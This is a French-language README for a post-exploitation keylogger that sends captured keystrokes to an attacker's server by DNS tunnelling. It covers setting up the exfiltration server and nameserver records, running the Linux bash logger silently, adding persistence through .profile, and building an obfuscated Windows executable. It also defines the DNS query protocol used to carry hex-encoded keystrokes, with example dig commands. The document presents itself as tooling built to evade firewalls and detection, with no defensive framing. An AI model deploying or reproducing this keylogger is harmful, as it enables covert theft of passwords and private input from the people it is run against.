
Serveur et client de keylogging qui utilisent le tunneling/exfiltration DNS pour transmettre les frappes au clavier à travers les pare-feux.
Ce keylogger post-exploitation exfiltre furtivement les frappes clavier vers un serveur.
Ces outils excellent dans l'exfiltration légère et la persistance, des propriétés qui empêchent la détection. Ils utilisent le tunneling DNS pour contourner les pare-feux et éviter la détection.
Le serveur utilise python3.
Pour installer les dépendances, exécutez python3 -m pip install -r requirements.txt
Pour démarrer le serveur, exécutez python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
Par défaut, le serveur écoute sur le port UDP 53. Utilisez l'option -p pour spécifier un autre port.
ip est l'adresse IP du serveur. Elle est utilisée dans les enregistrements SOA et NS, qui permettent aux autres serveurs de noms de trouver le serveur.
domain est le domaine à écouter, qui doit être le domaine pour lequel le serveur est autoritaire.
Sur le registre, vous devez changer l'espace de noms de votre domaine en DNS personnalisé.
Pointer les vers deux domaines, ns1.example.com et ns2.example.com.

Ajoutez des enregistrements qui pointent les domaines d'espace de noms vers l'adresse IP de votre serveur d'exfiltration.

C'est la même chose que de définir des enregistrements glue.
Le keylogger Linux est composé de deux scripts bash. connection.sh est utilisé par le script logger.sh pour envoyer les frappes clavier au serveur. Si vous souhaitez envoyer manuellement des données, comme un fichier, vous pouvez les rediriger vers le script connection.sh. Il établira automatiquement une connexion et enverra les données.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
Pour démarrer le keylogger, exécutez la commande ./logger.sh [domain] && exit. Cela démarrera silencieusement le keylogger, et toutes les entrées tapées seront envoyées. Le && exit à la fin fera que le shell se fermera lors de exit. Sans cela, quitter vous ramènera au shell non enregistré. Supprimez le &> /dev/null pour afficher les messages d'erreur.
L'option -p spécifie l'emplacement du fichier journal temporaire où toutes les entrées sont envoyées. Par défaut, c'est /tmp/.
L'option -l affiche les avertissements et les erreurs. Peut être utile pour le débogage.
logger.sh et connection.sh doivent être dans le même répertoire pour que le keylogger fonctionne. Si vous voulez de la persistance, vous pouvez ajouter la commande au fichier .profile pour qu'elle démarre à chaque nouveau shell interactif.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
Pour compiler le programme de keylogging, exécutez make dans le répertoire windows. Pour compiler avec une taille réduite et un certain niveau d'obscurcissement, utilisez la cible production. Cela créera le répertoire build pour vous et produira un fichier nommé logger.exe dans le répertoire build. Je n'ai testé la compilation qu'avec MinGW sur Windows 10. Si vous essayez d'utiliser g++ sur une machine non Windows, vous obtiendrez probablement des erreurs de compilation liées à windows.h.
make production domain=example.com
Vous pouvez également choisir de compiler le programme avec le débogage en utilisant la cible debug.
make debug domain=example.com
Pour les deux cibles, vous devrez spécifier le domaine que le serveur écoute.
Vous pouvez utiliser dig pour envoyer des requêtes au serveur :
dig @127.0.0.1 a.1.1.1.example.com A +short envoie une requête de connexion à un serveur sur localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short envoie un message de test à localhost.
Remplacez example.com par le domaine que le serveur écoute.
Les requêtes d'enregistrement A commençant par a indiquent le début d'une 'connexion'. Lorsque le serveur les reçoit, il répond avec une fausse adresse IP non réservée dont le dernier octet contient l'identifiant du client.
Le format à suivre pour démarrer une connexion est le suivant : a.1.1.1.[sld].[tld].
Le serveur répondra avec une adresse IP au format suivant : 123.123.123.[id]
Les connexions simultanées ne peuvent pas dépasser 254, et les clients ne sont jamais considérés comme 'déconnectés'.
Les requêtes d'enregistrement A commençant par b indiquent des données exfiltrées envoyées au serveur.
Le format à suivre pour envoyer des données après avoir établi une connexion est le suivant : b.[packet #].[id].[data].[sld].[tld].
Le serveur répondra avec [code].123.123.123
id est l'identifiant établi lors de la connexion. Les données sont envoyées sous forme ASCII encodées en hexadécimal.
code est l'un des codes décrits ci-dessous.
200: OKSi le client envoie une requête traitée normalement, le serveur répondra avec le code 200.
201: Requêtes d'enregistrement malforméesSi le client envoie une requête d'enregistrement malformée, le serveur répondra avec le code 201.
202: Connexions inexistantesSi le client envoie un paquet de données avec un identifiant supérieur au nombre de connexions, le serveur répondra avec le code 202.
203: Paquets hors séquenceSi le client envoie un paquet avec un identifiant de paquet qui ne correspond pas à ce qui est attendu, le serveur répondra avec le code 203. Les clients et les serveurs doivent réinitialiser leurs numéros de paquet à 0. Ensuite, le client peut renvoyer le paquet avec le nouvel identifiant de paquet.
204 Nombre maximum de connexions atteintSi le client tente de créer une connexion alors que le maximum est atteint, le serveur répondra avec le code 204.
Les clients doivent se fier aux réponses comme accusés de réception des paquets reçus. S'ils ne reçoivent pas de réponse, ils doivent renvoyer la même charge utile.
Le fichier journal contenant les entrées utilisateur contient des caractères de contrôle ASCII, comme backspace, delete et retour chariot. Si vous imprimez le contenu avec quelque chose comme cat, vous devez sélectionner l'option appropriée pour afficher les caractères de contrôle ASCII, comme -v pour cat, ou l'ouvrir dans un éditeur de texte.
Le keylogger dépend de script, donc il ne fonctionnera pas dans les shells non interactifs.
Pour une raison quelconque, le Dns_Query_A de Windows envoie toujours des requêtes en double. Le serveur les traitera correctement car il ignore les paquets répétés.